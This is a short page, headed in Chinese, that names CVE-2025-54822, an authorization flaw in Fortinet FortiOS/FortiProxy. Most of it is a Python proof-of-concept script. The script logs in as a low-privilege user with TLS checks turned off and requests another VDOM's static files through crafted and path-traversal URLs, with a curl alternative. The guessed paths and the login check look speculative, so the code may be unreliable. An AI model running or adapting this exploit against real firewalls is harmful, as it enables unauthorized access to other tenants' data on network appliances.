CVE-2025-54822 Fortinet FortiOS/FortiProxy 权限绕过漏洞

# CVE-2025-54822 - Fortinet FortiOS/FortiProxy VDOM Static File Access PoC # Vulnerability: Improper Authorization (CWE-285) - Cross-VDOM static file access # Author: Security Researcher # Note: Requires valid low-privilege authenticated session import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = "https://<target-fortigate-ip>" USERNAME = "low_privilege_user" PASSWORD = "password123" TARGET_VDOM = "root" # Target VDOM to access (e.g., "root", "vdom1", etc.) session = requests.Session() session.verify = False # Step 1: Authenticate to the FortiGate device login_url = f"{TARGET_HOST}/logincheck" login_data = { "username": USERNAME, "secretkey": PASSWORD } response = session.post(login_url, data=login_data) if response.status_code == 200 and "FORTINET" not in response.text: print("[+] Authentication successful") else: print("[-] Authentication failed") exit(1) # Step 2: Exploit VDOM static file access via crafted HTTP request # The vulnerability allows accessing static files of other VDOMs # by manipulating the request path or VDOM context # Method 1: Direct path manipulation to target VDOM static files exploit_urls = [ f"{TARGET_HOST}/static/{TARGET_VDOM}/css/style.css", f"{TARGET_HOST}/static/{TARGET_VDOM}/js/main.js", f"{TARGET_HOST}/favicon.ico?vdom={TARGET_VDOM}", f"{TARGET_HOST}/{TARGET_VDOM}/static/../static/config.txt", f"{TARGET_HOST}/ng/fortiview/../static/{TARGET_VDOM}/index.html", ] for url in exploit_urls: try: resp = session.get(url, timeout=10) if resp.status_code == 200 and len(resp.content) > 0: print(f"[+] Successfully accessed: {url}") print(f" Content-Length: {len(resp.content)}") print(f" Preview: {resp.text[:200]}") else: print(f"[-] Access denied or empty: {url} (Status: {resp.status_code})") except Exception as e: print(f"[-] Error accessing {url}: {e}") # Method 2: Using curl equivalent # curl -k -b "APISESSIONID=<session_cookie>" \ # "https://<target>/static/<target_vdom>/path/to/static/file" print("\n[*] PoC execution completed")